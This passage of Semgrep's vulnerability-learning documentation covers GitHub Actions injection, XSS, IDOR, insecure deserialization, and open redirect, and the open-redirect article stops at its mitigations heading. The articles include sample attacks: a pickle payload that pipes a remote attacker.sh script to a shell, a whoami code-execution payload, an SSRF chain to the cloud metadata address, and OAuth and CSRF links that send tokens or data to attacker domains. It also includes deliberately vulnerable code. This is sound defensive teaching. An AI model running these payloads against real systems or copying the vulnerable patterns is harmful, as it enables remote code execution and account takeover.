Semgrep can help identify injection patterns across large codebases. You can use the [p/github-actions](https://semgrep.dev/p/github-actions) ruleset to find common GitHub Actions misconfigurations, including:
* Command injection via `run` shell execution
* Unsafe code injection triggers like `pull_request_target` with write permissions
To scan your workflows run:
```bash theme={null}
semgrep --config p/github-actions
```
These rules are also included in the `--config p/default` ruleset to help detect issues.
## Recommendations & Mitigations
Some examples and tips to reduce the risk of command injection and related risks in your GitHub Actions workflows.
### Use Environment Variables Instead of Raw User Input
Instead of inserting untrusted values directly into `run`, assign them to environment variables:
**Unsafe:**
```yaml theme={null}
- run: echo "${{ github.event.issue.title }}"
```
**Safe:**
```yaml theme={null}
- name: echo-title
env:
TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
```
This prevents premature evaluation and treats the input as literal strings which will be escaped rather than executable code.
### Minimize Permission Settings
Set job-level permissions to `read` by default, especially when handling untrusted inputs:
```yaml theme={null}
permissions:
contents: read
```
Avoid using event types like `pull_request_target` unless absolutely necessary, as it grants write permissions to the `GITHUB_TOKEN` by default.
For any secrets configured, limit their access from org-wide level whenever it is not necessary. Branch protection rules can also be effective of limiting permissive settings that can be detected before being exploited.
### Separate Untrusted Code Execution
If you need to compile or execute third-party code (like running tests or installing packages from a pull request), isolate that logic in a separate job with minimal permissions. Use job outputs or artifacts to pass the results to a privileged job that performs actions like approving pull requests.
```yaml theme={null}
name: Delegate Privileged Jobs
on: pull_request
jobs:
build:
name: Unprivileged Build Job
permissions:
contents: read
steps:
- name: checkout
uses: actions/checkout@v6
- name: install
run: npm install
approve:
name: Privileged Approval Job
needs: build
permissions:
pull-requests: write
steps:
- name: Approve PR
run: ./approve_PR
```
### Donβt Trust User Input from Public Events
Treat all input from issue titles, comments, and forked pull requests as tainted. Validate or sanitize them before use, or avoid inserting them into command-line contexts altogether.
## Conclusion
GitHub Actions provides helpful automation, but executing CI/CD operations comes with risks. If user-controlled input is inserted into commands without protection, attackers can run their own code in your CI/CD environment. At best, this leads to wasted resources. At worst, it exposes tokens, secrets, and codebases to compromise.
In this article, we explored how command injection happens in GitHub Actions, what it looks like in real workflows, and how to detect and prevent it.
# Cross-Site Scripting (XSS)
Source: https://docs.semgrep.dev/learn/vulnerabilities/cross-site-scripting
**Cross-Site Scripting (XSS)** happens when a malicious user injects scripts into the content of a trusted website that are executed in other usersβ browsers. This has the potential to expose otherwise private information because the code is assumed to be safe to execute.
This article will walk you through the fundamentals of XSS, explain how common attacks work, show what vulnerable code looks like, and provide practical steps you can take to prevent these issues in your own projects.
## What is Cross-Site Scripting (XSS)
Cross-site scripting remains one of the most frequently reported web vulnerabilities in the Common Vulnerabilities and Exposures (CVE) database and consistently appears in the OWASP Top Ten list. This issue continues to affect applications of all sizes, from small personal projects to major platforms.
At its core, cross-site scripting is a problem that arises because web applications are designed to be interactive experiences. Applications want users to add comments, search for information, and share content. This interactivity requires user-provided input to be displayed back to the page. This goal also creates an opportunity for malicious code to be introduced.
When user input is not handled safely, the browser may interpret it as executable code instead of plain text. This means the attacker can essentially place their own instructions into the application, which then runs in the unsuspecting userβs browser. The risk comes from failing to properly control when and how user data is used within pages and the corresponding access granted by running the code within the domain.
## Common XSS Attacks
The security community generally groups cross-site scripting into three categories: stored, reflected, and Document Object Model (DOM)-based.
### Stored Cross-Site Scripting
**Stored cross-site scripting** happens when an attacker injects malicious code that is permanently stored on the server, for example in a comment field or a user profile. When other users view that page, the code is delivered to them as if it were part of the site. A comment like `` may look harmless, but if not sanitized, it runs every time the page loads.
### Reflected Cross-Site Scripting
**Reflected cross-site scripting** occurs when an attacker tricks a user into clicking a crafted link, often through phishing or social engineering. The malicious code is embedded in the URL, and when the application reflects that value directly into the page, it executes. For example, a search query to `https://semgrep.dev/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E` could trigger execution if the application displays the query without cleaning it first.
### DOM-based Cross-Site Scripting
**DOM-based cross-site scripting** is slightly different. Instead of relying on the server to send malicious code, it abuses the client-side JavaScript logic itself. If the script on a page takes data directly from the URL or another source and inserts it into the page without validation, it can lead to execution of unexpected code. A simple example would be client-side code that does `document.body.innerHTML = location.hash;` without any checks since this is a user-controlled part of the URL (ie. [https://semgrep.dev/#payload-here](https://semgrep.dev/#payload-here)).
## Detecting XSS Vulnerabilities in Your Code
Finding cross-site scripting issues can be difficult because they often look like normal functionality. Consider the following snippet:
```html theme={null}
You searched for:
```
Here, the code takes the value of `q` from the URL and inserts it directly into the page. If someone navigates to `https://semgrep.dev/search?q=` (in practice this would be URLencoded, but left as is for readability here), the payload runs in the browser. The issue lies in how untrusted input flows into a part of the page where it is interpreted as code.
Developers can detect these patterns by reviewing how data travels from input sources (like forms, query parameters, or stored fields) to sensitive sinks (like `innerHTML`, `document.write`, or raw template outputs). Tools like Semgrep can automate this by scanning for dangerous data flows and highlighting cases where user-controlled values reach unsafe functions without proper handling.
## Recommendations and Mitigations
Developers do not need to become security experts to prevent cross-site scripting. A few consistent practices go a long way. Always treat user input as untrusted, and ensure that any data rendered into a page is correctly encoded for the context it is used in. For example, text shown in HTML should be encoded so that characters like `<` and `>` are not interpreted as tags. Avoid directly setting content with functions like `innerHTML` unless it is absolutely necessary.
When working with dynamic behavior, use safer alternatives such as APIs that insert text rather than raw HTML. For stored data, validate and sanitize input before saving it to the database. For client-side code, be cautious about how data from the URL or other data sources makes its way into the page so that it is encoded properly before being used in a script. Many popular web frameworks now automate proper HTML encoding. As long as you use and don't circumvent the paved path in your templating engine you can be safer.
Detecting issues early with automated tools such as Semgrep can give developers confidence that risky patterns are identified before they reach production.
## Conclusion
Cross-site scripting is one of the most common and enduring security issues in web applications. By understanding stored, reflected, and DOM-based variants, developers can better recognize where their code may be at risk. The underlying problem is always the same: untrusted input making its way into the page without safe handling. By encoding output properly, avoiding risky functions, and using tools like Semgrep to detect flaws, developers can reduce exposure significantly.
Just as interactive features make applications more engaging, they also increase opportunities for mistakes. Addressing cross-site scripting is not just about preventing attacks but about building trust with users and protecting their experience. For developers, the next step is clear: review your code, try scanning it with Semgrep, and take proactive steps to stop cross-site scripting before it becomes a problem.
# Insecure Direct Object Reference (IDOR)
Source: https://docs.semgrep.dev/learn/vulnerabilities/idor
Imagine youβre browsing your order history in an online store. You notice the URL includes an order ID, and out of curiosity, you try changing the number to see what happens.
As a developer, you probably donβt expect that exposing an endpoint like `/order/1337` could be risky on its own. But if the system doesnβt confirm that the authenticated user is allowed to view that order, itβs effectively handing out private data to anyone who knows or guesses the right ID. In the same webshop, however, viewing a public page like `/article/1234` is completely expected, that kind of access is part of the intended user experience.
This contrast highlights why **Insecure Direct Object Reference (IDOR)** bugs are so tricky: the exact same URL pattern can be safe in one place and risky in another. Theyβre easy to miss in code reviews, and hard for automated tools to catch unless they understand the specific context of your application. By using end user supplied parameters to reference a specific object on a remote server, it allows privilege escalation to access objects that should be restricted.
In this article, weβll walk through what IDOR is, how attackers exploit it, how to recognize risky patterns in your code, and what to do to prevent it.
## What Is Insecure Direct Object Reference (IDOR)?
IDOR stands for Insecure Direct Object Reference. Itβs a type of access control failure where a program exposes internal resources using identifiers that users can guess or manipulate. If the system doesnβt check that the user is authorized to access that resource, it opens the door to abuse.
This pattern was originally highlighted in the OWASP Top 10 under its own name, and today it falls under the broader category of Broken Access Control. It exists because many applications rely on predictable identifiers (integers, UUIDs, or filenames) and assume that if a user has the ID, theyβre allowed to access the resource. But in reality, users frequently discover or guess other valid IDs, either by enumeration, brute force, or indirect leakage.
The root cause of IDOR is not just that an identifier is exposed, but that access control decisions are made (or skipped) based solely on user input.
## Common Attacks to Exploit IDOR
Imagine if our web platform allowed users to download Semgrep findings by name:
```text theme={null}
GET /findings-report/0xDC0DE-2025-03-18.pdf
```
If the backend simply looks up the file using the filename in the URL and returns it, an attacker can change the value to another filename:
```text theme={null}
GET /findings-report/faang-2025-09-17.pdf
```
If no access control check is in place, they now have a list of unresolved vulnerabilities for a large company.
This type of attack pattern can take many forms:
* **Numeric ID manipulation**: Attackers increment or decrement resource IDs in URLs or forms.
* **UUID guessing**: Even though UUIDs look random, in some systems they are exposed or reused in predictable ways.
* **Parameter tampering**: Web forms or API calls that accept `user_id`, `file_id`, or similar fields can be manipulated if the backend trusts the input blindly.
* **Indirect object references**: In some systems, identifiers appear in cookies, local storage, or metadata, which users can modify.
Attackers often discover these vulnerabilities during exploratory testing, such as browsing the application while authenticated and capturing requests with tools like browser dev tools or proxies.
## Detecting IDOR Vulnerabilities
Most static analysis tools look for dangerous sinks, such as executing code or running a command. But unlike traditional injection attacks, IDOR isnβt about where the input goes. IDOR is closer to a logic flaw: itβs the absence of an authorization check at the right point in the request flow.
Take the following Python example:
```python theme={null}
def get_user_profile(request):
user_id = request.GET.get("id")
user = db.lookup_user(user_id)
return JsonResponse(user.to_dict())
```
Thereβs no direct evidence here that anything is wrong. The code will likely work perfectly in production. But without a check like `if user_id != request.user.id`, the system allows any logged-in user to view any profile just by changing the `id` parameter.
This kind of problem requires context. The analyzer needs to understand not just that `user_id` came from the request, but that it controls access to a sensitive resource, and that no permission check was made before returning it.
This makes generic detection difficult, even for powerful static analyzers like Semgrep. Instead, what is required, is writing custom rules for your application that describe the access control logic you're expecting. For example, you might define a rule that flags any time a route parameter `user_id` is used in a query without checking it against the current user.
## Recommendations and Mitigations for Preventing IDOR
The most reliable way to prevent IDOR is to treat every request as untrusted, and never assume that having a resource ID means having access to it.
Design your access control in layers:
### Avoid exposing raw IDs
Consider using indirect references, such as short tokens or scoped identifiers that map to real records internally. Object records and files should never be referenced directly by an identifier that is easily guessable.
Use randomly generated filenames but put rate limiting in place to mitigate against brute force attacks.
### Centralize access checks
Donβt scatter `if` statements everywhere. Build helper functions or decorators that can be applied consistently across routes. Use frameworks with built-in functionality to apply authentication and authorization.
If your framework supports declarative access control (like policy-based decorators or middleware), use it. Otherwise, document your expected permissions and test them using integration or security tests.
## Conclusion
IDOR is a simple vulnerability with serious consequences. It happens when applications use predictable identifiers for sensitive resources and forget to check whether the user is authorized to access them. These bugs are common, hard to detect automatically, and often missed in code reviews.
Weβve seen how IDOR works, why itβs difficult to find with static tools, how to recognize risky patterns, and what defensive steps to take. The most important step you can take is to build authorization checks that explicitly confirm whether a user has access to a resource, not just whether theyβre logged in.
Security tools like Semgrep can help you enforce your projectβs access control expectations by highlighting when critical checks are missing.
# Insecure Deserialization
Source: https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization
Need an object later? Convert it to text and save it in a file. This magic is built into most programming languages and itβs called serialization. However, a single line of code for restoring the state of an object could grant attackers full access to your server.
If your application takes serialized data from a file, a cookie, or a network request, and restores it into an object, then you're potentially at risk. Deserialization was designed to reconstruct complex objects, but when used on untrusted input, it can reconstruct more than just data. **Insecure deserialization** lets attackers provide specially crafted data that executes code, reads files, or cause the application to crash.
In this article, we explain what serialization and deserialization are, why these features exist, and why you should think twice about how you use this capability. We walk through common attack techniques and show what insecure deserialization looks like in code. Finally, we give you clear guidance to reduce your exposure and detect these issues early.
## What Is Serialization?
Serialization is the process of turning objects into a stream of bytes or text so they can be stored or sent over the network. Deserialization is the reverse: converting that stream back into usable objects.
This is a practical solution to a common problem. Applications need a way to store session data, share structured objects between services, or persist application state across runs.
Most programming languages include built-in or standard libraries for serialization. These libraries often support complex types, not just simple data. Some even let developers define how the serialization process works. This power is useful⦠but risky.
Hereβs an example of what that looks like in Python. First, weβll need an object type to serialize and deserialize:
```python theme={null}
class SASTool:
def __init__(self, name, language, is_best=False):
self.name = name
self.language = language
self.is_best = is_best
def __repr__(self):
return f"SASTool(name='{self.name}', language='{self.language}', is_best={self.is_best})"
```
To create a bytestream in Python, one commonly used library is `pickle` .
```python theme={null}
# Create our favorite SAST tool
semgrep = SASTool("Semgrep", "Multi-language", is_best=True)
print("Original object:", semgrep)
# Serialize with pickle
pickle_data = pickle.dumps(semgrep)
print("Pickle serialized (base64):", base64.b64encode(pickle_data).decode())
# Deserialize
restored_tool = pickle.loads(pickle_data)
print("Restored object:", restored_tool)
```
Running this, will yield the following output.
```text theme={null}
Original object: SASTool(name='Semgrep', language='Multi-language', is_best=True)
Pickle serialized (base64): gASVWAAAAAAAAACMCF9fbWFpbl9flIwHU0FTVG9vbJSTlCmBlH2UKIwEbmFtZZSMB1NlbWdyZXCUjAhsYW5ndWFnZZSMDk11bHRpLWxhbmd1YWdllIwHaXNfYmVzdJSIdWIu
Restored object: SASTool(name='Semgrep', language='Multi-language', is_best=True)
```
The danger arises when these libraries are used to deserialize data that comes from outside the application, such as HTTP request bodies or uploaded files. Many deserialization functions do more than just reconstruct data. They may call constructors, restore method references, or trigger custom behavior. This means that malicious input can trigger unexpected code execution.
## Common Insecure Deserialization Attacks
When a deserialization function instantiates objects, it may invoke code as part of that process. If an attacker controls the input, they can choose what classes get instantiated and which methods are run. This commonly is escalated into remote code execution, or denial of service.
### Remote Code Execution (RCE)
To continue with our Python example, the `__reduce__` method can be used to specify how an object should be deserialized. A payload that includes such an object can execute code when loaded.
```python theme={null}
class MaliciousSASTool:
def __reduce__(self):
return (os.system, ('whoami',))
```
If this class is included in a serialized stream, any system that deserializes it will run the payload.
```python theme={null}
malicious_tool = MaliciousSASTool()
malicious_pickle = pickle.dumps(malicious_tool)
print("Malicious payload (base64):")
print(base64.b64encode(malicious_pickle).decode())
print("Demonstrating what happens when deserialized:")
pickle.loads(malicious_pickle) # This will execute 'whoami' and show your username
```
The output of this snippet is:
```text theme={null}
Malicious payload (base64):
gASVIQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=
Demonstrating what happens when deserialized:
pieter
```
This type of attack has been used in the wild against systems that deserialize input from cookies, form data, or APIs. The impact is often full system compromise.
### Denial of Service (DoS)
Some deserialization libraries allow deeply nested or complex object graphs. An attacker can craft a payload that consumes excessive memory or CPU when deserialized.
In Python, we can craft deeply nested objects like this:
```python theme={null}
class NestedBomb:
def __init__(self, depth=0):
if depth < 1000: # Create deep nesting
self.child = NestedBomb(depth + 1)
self.data = "A" * 10000 # Large data per level
```
I would not recommend trying to pickle and unpickle this one. This results in exponential memory usage and can exhaust system resources.
## Detecting Insecure Deserialization in Your Code
Letβs look at an example in a web application server.
```python theme={null}
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/load_tool', methods=['POST'])
def load_sast_tool():
tool_data = request.get_data()
sast_tool = pickle.loads(tool_data) # Vulnerable!
return f"Loaded tool: {sast_tool.name}"
```
This code takes raw POST data and directly deserializes it with `pickle`. An attacker can send a malicious payload instead of legitimate tool data.
A similar vulnerable pattern in Java might look like this:
```java theme={null}
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Object data = in.readObject();
```
Here, `readObject()` reconstructs a full object graph from input the user controls. If any class in scope has custom deserialization behavior, it might be triggered automatically.
This is the core pattern of insecure deserialization:
* Untrusted input (e.g., from a network request or file upload)
* Flows into a deserialization function (e.g., `readObject`, `unserialize`, `pickle.load`)
* Without validation, filtering, or integrity checking
To find these patterns, you need to trace the flow of data from input to sink.
Semgrep makes this easier. It tracks taint flow from user-controlled input (like `request.getInputStream()` or `$_POST`) into sensitive functions. If it detects that a deserialization method receives untrusted data, it raises an alert. Semgrep supports multiple languages and includes rules for common deserialization functions. It focuses on cases where the deserialization function is reachable by untrusted input.
## Recommendations and Mitigations
The most effective way to prevent insecure deserialization is to avoid deserializing untrusted input entirely. If you must deserialize user-controlled data, take the following steps:
### Use safer formats
Prefer simple data formats like JSON or YAML (with safe loading). These formats reconstruct primitive types like strings, arrays, and dictionaries.
Let's see how our SASTool example looks with safe alternatives:
```python theme={null}
@dataclass
class SafeSASTool:
name: str
language: str
is_best: bool = False
# Create our tool
semgrep = SafeSASTool("Semgrep", "Multi-language", True)
print("Original object:", semgrep)
# JSON serialization - only handles basic data types
json_data = json.dumps(asdict(semgrep))
print("\\nJSON serialized:", json_data)
restored_from_json = SafeSASTool(**json.loads(json_data))
print("JSON deserialized:", restored_from_json)
# YAML serialization - safe_load prevents code execution
yaml_data = yaml.dump(asdict(semgrep))
print("\\nYAML serialized:")
print(yaml_data)
restored_from_yaml = SafeSASTool(**yaml.safe_load(yaml_data))
print("YAML deserialized:", restored_from_yaml)
```
Running this code will output:
```text theme={null}
Original object: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
JSON serialized: {"name": "Semgrep", "language": "Multi-language", "is_best": true}
JSON deserialized: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
YAML serialized:
is_best: true
language: Multi-language
name: Semgrep
YAML deserialized: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
```
Unlike pickle, JSON and YAML (with `safe_load`) only reconstruct data. They can't execute code or instantiate arbitrary objects. An attacker can't inject malicious payloads because these formats don't support object reconstruction or method calls.
### Validate input structure
If you must deserialize, apply strict validation first. Check the input against a schema or known allowlist of expected fields before processing.
### Require digital signatures
Signed tokens ensure that serialized data cannot be altered without detection. This helps secure session data or configuration blobs sent by the client.
### Disable unsafe features
Some libraries let you configure safe modes. For example, in Python use `yaml.safe_load()` instead of `yaml.load()`. In Java, use deserialization filters to restrict what classes can be loaded.
### Review third-party dependencies
Some libraries store internal state using deserialization under the hood. Ensure that these are not exposed to untrusted input and check for any known CVEs related to insecure deserialization.
### Use automated tools
Semgrep can detect deserialization risks in your code and in libraries you use. Run it as part of your development process to catch problems early.
## Conclusion
Insecure deserialization happens when applications trust input that was never meant to be trusted. The feature was designed to restore objects. But when misused, they allow attackers to take full control of the system.
A single deserialization call might look harmless, but as we've seen, it can open the door to far more than just data. By understanding the risks, choosing safer alternatives, and using tools like Semgrep to catch unsafe patterns early, you can keep this powerful feature from becoming a security liability.
For additional Python examples, see [Python Deserialization](/learn/vulnerabilities/insecure-deserialization/python).
# Insecure Deserialization in Python
Source: https://docs.semgrep.dev/learn/vulnerabilities/insecure-deserialization/python
An introduction to this concept was covered in the [Insecure Deserialization](/learn/vulnerabilities/insecure-deserialization) article. This section expands upon that foundation with additional examples and libraries.
**Insecure deserialization** has been a recurring entry in the OWASP Top 10 list of web application risks, and for good reason. The Python ecosystem in particular provides developers with powerful libraries for serializing and deserializing objects, but these same features can expose applications to remote code execution or denial of service.
The impact can range from unexpected crashes to a full system compromise. Itβs worth stressing: Pythonβs `pickle` and similar libraries should never be used to process untrusted input. They were built for speed and flexibility, not security. A notable example is Djangoβs decision to deprecate the `PickleSerializer` in version 4.1, acknowledging that the `pickle` module from Pythonβs standard library is inherently unsafe for deserialization.
In this article, we explain the fundamentals of serialization in the context of Python. Then, we illustrates the most common ways insecure deserialization is exploited, and show you how to detect these patterns in your own code. Finally, we provide some practical recommendations to avoid the risks.
### Pickling and unpickling
Serialization is the process of converting Python objects into a format that can be stored or transmitted, while deserialization restores them back into usable objects. This solves a practical problem: developers need a way to save program state, transfer structured data across the network, or exchange complex objects between systems.
Pythonβs infamous `pickle` module was created to solve exactly this problem. It allows arbitrary Python objects to be serialized and later reconstructed. The design is intentionally permissive: objects can control how they are pickled and unpickled, and the process can invoke functions or methods during reconstruction. This flexibility makes `pickle` extremely convenient, but it also introduces a significant security risk. By design, deserialization can execute code, which means an attacker who controls the input data can run arbitrary commands.
Other libraries extend or reuse the same approach. `dill` adds more object types to what can be serialized, `jsonpickle` uses JSON as a transport format but still permits arbitrary Python object reconstruction, and `shelve` simply stores pickled objects in a file-like database. Even PyYAML, a popular choice for configuration files, defaults to unsafe loading modes unless developers explicitly call `safe_load`. These features exist to make a developerβs life easier but also increase the attack surface when used on untrusted data.
### Common Insecure Deserialization Attacks
The most severe outcome of insecure deserialization is remote code execution. In this case, an attacker provides a serialized payload that, when deserialized, executes system commands.
```python theme={null}
import pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ("curl http://semgrep.dev/attacker.sh | sh",))
payload = pickle.dumps(Exploit())
```
In the minimal example shown above, a pickle payload is crafted that calls `os.system` to fetch and run a script from a domain such as `semgrep.dev`. The deserialization process is not just restoring an object; it is executing arbitrary code on the server.
### How-to Detect Insecure Deserialization In Python Code
Consider a Python web server built using the standard libraryβs `http.server` module. A developer might be tempted to unpickle data received in a request for convenience.
```python theme={null}
import pickle
from flask import Flask, request
import io
app = Flask(__name__)
@app.route("/deserialize", methods=["POST"])
def deserialize():
# Attacker controls request body
raw_data = request.data
obj = pickle.load(io.BytesIO(raw_data))
return str(obj)
```
In this example, the call to `pickle.load` is applied directly to data derived from user input. If an attacker crafts a malicious pickle string, it will be executed when the handler processes the request. This is precisely the kind of pattern Semgrepβs rules can detect. The rules track data flow from untrusted sources such as HTTP request paths or headers and flag places in the code where it when it reaches sensitive functions like `pickle.loads`. Semgrep currently covers over a dozen Python libraries with known insecure deserialization functions.
### Recommendations & Mitigations
The simplest and most effective recommendation is to avoid `pickle` and its variants (`_pickle`, `cPickle`, `dill`, `jsonpickle`, `shelve`) for any untrusted input. These libraries cannot be made safe against arbitrary input because they allow execution by design. Use YAML or JSON to transfer and store data instead.
From the official `pickle` [documentation](https://docs.python.org/3/library/pickle.html):
**WARNING**
The pickle module is not secure. Only unpickle data you trust.
We highly recommend to use automated tools to verify compliance, since many more libraries use deserialisation powered by libraries such as `pickle` under the hood. Running Semgrep regularly as part of your continuous integration pipeline can highlight insecure deserialization patterns before they reach production.
A few examples for popular libraries:
* In Django, never switch back to the deprecated `PickleSerializer` for sessions.
* In NumPy, avoid setting `allow_pickle=True` when calling `numpy.load`.
* In PyTorch, prefer using the `weights_only=True` flag when calling `torch.load` to prevent deserialization of arbitrary Python objects.
### Conclusion
Insecure deserialization in Python is not just a theoretical concern; it is a practical risk that arises whenever untrusted data is passed to permissive deserialization libraries. The fundamental issue is that modules such as `pickle` are designed to execute code during deserialization, making them unsuitable for handling external input.
We have seen how serialization works in Python, why features like `pickle` introduce risks, how attackers exploit them through remote code execution, and how Semgrep can detect vulnerable patterns in your own projects. The path forward is clear: avoid unsafe libraries for untrusted data, choose safer alternatives like JSON or `safe_load` for YAML, and rely on automated scanning to catch mistakes early.
As the deprecation of Djangoβs `PickleSerializer` illustrates, the community has recognized the risks of insecure deserialization. By taking a disciplined approach to the libraries you use and by applying tools like Semgrep, you can ensure your Python applications remain resilient against this class of vulnerabilities.
For more guidance and practical rules, see the Semgrep documentation and consider scanning your codebase with our Pro rules. Identifying and fixing insecure deserialization today will save you from severe problems tomorrow.
## Appendix: Python demonstration
Hereβs a full Python file demonstrating what is mentioned in the article for further exploration. You can execute this safely, it has no dangerous side-effects.
```python expandable theme={null}
#!/usr/bin/env python3
print("=== Testing SASTool Pickle Serialization ===")
import pickle
import base64
class SASTool:
def __init__(self, name, language, is_best=False):
self.name = name
self.language = language
self.is_best = is_best
def __repr__(self):
return f"SASTool(name='{self.name}', language='{self.language}', is_best={self.is_best})"
# Create our favorite SAST tool
semgrep = SASTool("Semgrep", "Multi-language", is_best=True)
print("Original object:", semgrep)
# Serialize with pickle
pickle_data = pickle.dumps(semgrep)
print("Pickle serialized (base64):", base64.b64encode(pickle_data).decode())
# Deserialize
restored_tool = pickle.loads(pickle_data)
print("Restored object:", restored_tool)
print("\n=== Testing Malicious Payload (Safe Version) ===")
import os
class MaliciousSASTool:
def __reduce__(self):
# This method is called during pickle serialization
# Instead of restoring data, it executes a command
return (os.system, ('whoami',))
# Create the malicious payload
malicious_tool = MaliciousSASTool()
malicious_pickle = pickle.dumps(malicious_tool)
print("Malicious payload (base64):")
print(base64.b64encode(malicious_pickle).decode())
print("Demonstrating what happens when deserialized:")
pickle.loads(malicious_pickle) # This will execute 'whoami' and show your username
print("\n=== Testing Safe Alternatives ===")
import json
import yaml
from dataclasses import dataclass, asdict
@dataclass
class SafeSASTool:
name: str
language: str
is_best: bool = False
# Create our tool
semgrep_safe = SafeSASTool("Semgrep", "Multi-language", True)
print("Original object:", semgrep_safe)
# JSON serialization - only handles basic data types
json_data = json.dumps(asdict(semgrep_safe))
print("\nJSON serialized:", json_data)
restored_from_json = SafeSASTool(**json.loads(json_data))
print("JSON deserialized:", restored_from_json)
# YAML serialization - safe_load prevents code execution
yaml_data = yaml.dump(asdict(semgrep_safe))
print("\nYAML serialized:")
print(yaml_data)
restored_from_yaml = SafeSASTool(**yaml.safe_load(yaml_data))
print("YAML deserialized:", restored_from_yaml)
print("\n=== All tests completed successfully! ===")
```
# Open Redirect
Source: https://docs.semgrep.dev/learn/vulnerabilities/open-redirect
You receive a link in your email inbox from a social media website, itβs legitimate, the domain is correct and you login successfully. But instead of being redirected to the home screen, you find yourself on a phishing website. Thatβs what an open redirect can look like from the victimβs perspective.
Redirect logic is common in web applications. Login flows, payment gateways, and content sharing often rely on redirects. A successful open redirect doesnβt just fool a single user, it undermines the integrity of your domain, erodes user trust, and exposes your business to phishing campaigns. While open redirects are sometimes dismissed as βlow-severity,β attackers can often chain them into something far worse. As weβll see in this article, the impact ranges from stealing OAuth tokens for account takeover, to bypassing CSRF protections, to escalating into XSS or [SSRF](/learn/vulnerabilities/server-side-request-forgery). In other words, what looks like a harmless detour can become the entry point to a critical breach.
In this article, we will explore the fundamentals of open redirects, look in some more detail how attackers exploit them and escalate them. Weβll also show you what vulnerable code looks like, and finish with clear recommendations to reduce your risk.
## What Are Open Redirects?
Redirects are a standard feature of web applications. They were designed to solve practical problems, such as sending a user back to the page they came from, directing them to a login page, or moving them to a new section of a site after an update. In short, redirects help keep the user experience smooth when content or workflow changes.
An **Open Redirect** risk appears when a redirect destination is built directly from user input. For example, if a program takes a value from a query parameter and uses it as the redirect target, it effectively gives control of navigation to whoever provides that input. Features like flexible URL parsing or automatic redirect handling can increase the exposure, because they make it easier for an attacker to supply their own links.
### Exploiting Open Redirect Vulnerabilities
One of the most straightforward attacks is **redirecting users to a malicious website**. Imagine an application that redirects users to a protected page. The application may redirect the users to the login page and send the original protected page as a query parameter to redirect to after logging in, such as:
```text theme={null}
https://semgrep.dev/login?redirect_url=https://semgrep.dev/my-dashboard
```
If the program redirects to whatever appears in `redirect_url`, an attacker can replace it with a malicious destination:
```text theme={null}
https://semgrep.dev/login?redirect_url=https://attacker.com/my-semgrep-dashboard
```
The user sees the trusted domain `semgrep.dev` in their browser before the redirect happens. By the time they land on the attackerβs page, it may look like a legitimate login or checkout page designed to steal credentials.
## Common Open Redirect Attacks
To an attacker, an open redirect is often considered low-hanging fruit. However, with the increased complexity of modern applications, itβs often become possible to escalate these to higher-severity security issues. Thatβs why open redirects shouldnβt be dismissed as harmless. In practice, theyβre often used as building blocks in larger attacks such as phishing, session fixation, Cross-Site Scripting (XSS), [Server-Side Request Forgery (SSRF)](/learn/vulnerabilities/server-side-request-forgery), or Cross-Site Request Forgery (CSRF). Hereβs a few examples.
### Chaining with CSRF
This Python example with Django demonstrates combining an open redirect with a cross-site request forgery:
```python theme={null}
from django.http import HttpResponseRedirect, JsonResponse
def redirect_view(request):
url = request.GET.get("url")
return HttpResponseRedirect(url)
def export_semgrep_findings(request):
if request.method == "GET":
project_id = request.GET.get("id")
email = request.GET.get("email")
export_and_send_semgrep_findings(project_id, email)
return JsonResponse({"success": True, "message": "Findings sent"})
```
In this fictional example, we notice an open redirect in the `redirect_view` . Additionally, if CSRF protection is not enabled globally, the `export_semgrep_findings` function is vulnerable to a CSRF attack. The following malicious link would allow an attacker to trick a logged-in user into triggering a request that exports sensitive Semgrep findings from their project and emails them straight to the attacker.
```python theme={null}
/redirect?url=/api/project/export?id=1234&email=pieter@attacker.com
```
### Chaining with SSRF
Even if an application tries to restrict which hosts it can fetch from, an open redirect can bypass those defenses. Suppose `semgrep.dev` has an image loader that only allows fetching from `*.semgrep.dev` , the implementation might look something like the Python code snippet below.
```python theme={null}
import requests
from urllib.parse import urlparse
from django.http import JsonResponse
def image_loader(request):
url = request.GET.get("url")
parsed = urlparse(url)
if not parsed.hostname.endswith("semgrep.dev"):
return JsonResponse({"error": "Invalid host"}, status=403)
try:
resp = requests.get(url)
return JsonResponse({"image_data": resp.text})
except Exception:
return JsonResponse({"error": "Failed to fetch"}, status=500)
```
An attacker can combine this with the open redirect endpoint:
```text theme={null}
/api/image-loader?url=http://semgrep.dev/redirect?url=http://169.254.169.254/data
```
Because the `requests` library automatically follows redirects, the server fetches data from internal services not intended to be reachable by users, effectively turning the open redirect into an SSRF vector.
### Account takeover with OAuth
Open redirects are especially dangerous when used in authentication flows. For example, in a simplified OAuth endpoint:
```python theme={null}
from django.http import HttpResponseRedirect
def oauth_start(request):
cid = request.GET.get("client_id")
uri = request.GET.get("redirect_uri")
url = f"https://oauth.provider.com/auth?client_id={cid}&redirect_uri={uri}&response_type=token"
return HttpResponseRedirect(url)
```
If the redirect URI is not validated, an attacker can supply a URL they control:
```text theme={null}
/api/oauth/start?client_id=1234&redirect_uri=https://attacker.com/callback
```
When the OAuth provider completes the login flow, it sends the victimβs access token to the attackerβs server. With this token, the attacker can impersonate the victim and take over their account.
## Detecting Open Redirect Vulnerabilities in Your Code
Weβve already seen a number of Open Redirect vulnerabilities above. To find similar issues in your code, you need to look for places where user-supplied data can control the URL of a redirect. The simplest, yet surprisingly common, data flow is when a query parameter is used to supply the redirect URL entirely.
```python theme={null}
from django.http import HttpResponseRedirect
def index(request):
user_supplied_url = request.GET["redirect_url"]
return HttpResponseRedirect(user_supplied_url)
```
The program reads the value of `redirect_url` from the query string and redirects the user to it. But because this value comes directly from user input, an attacker can supply any domain they want. The server does not verify if the destination is trusted, which makes this a textbook open redirect.
To detect these issues in your own code, you need to trace the flow of user-controlled input into redirect functions. This can be challenging to do manually in larger projects, because input may pass through several variables before being used. Semgrep can identify when data from request parameters or headers flows into redirect functions. It highlights risky cases while ignoring safe patterns, such as when the redirect target is built from fixed routes using mapping tables like [Djangoβs `reverse()` function.](https://docs.djangoproject.com/en/5.2/ref/urlresolvers/)
## Recommendations and Mitigations
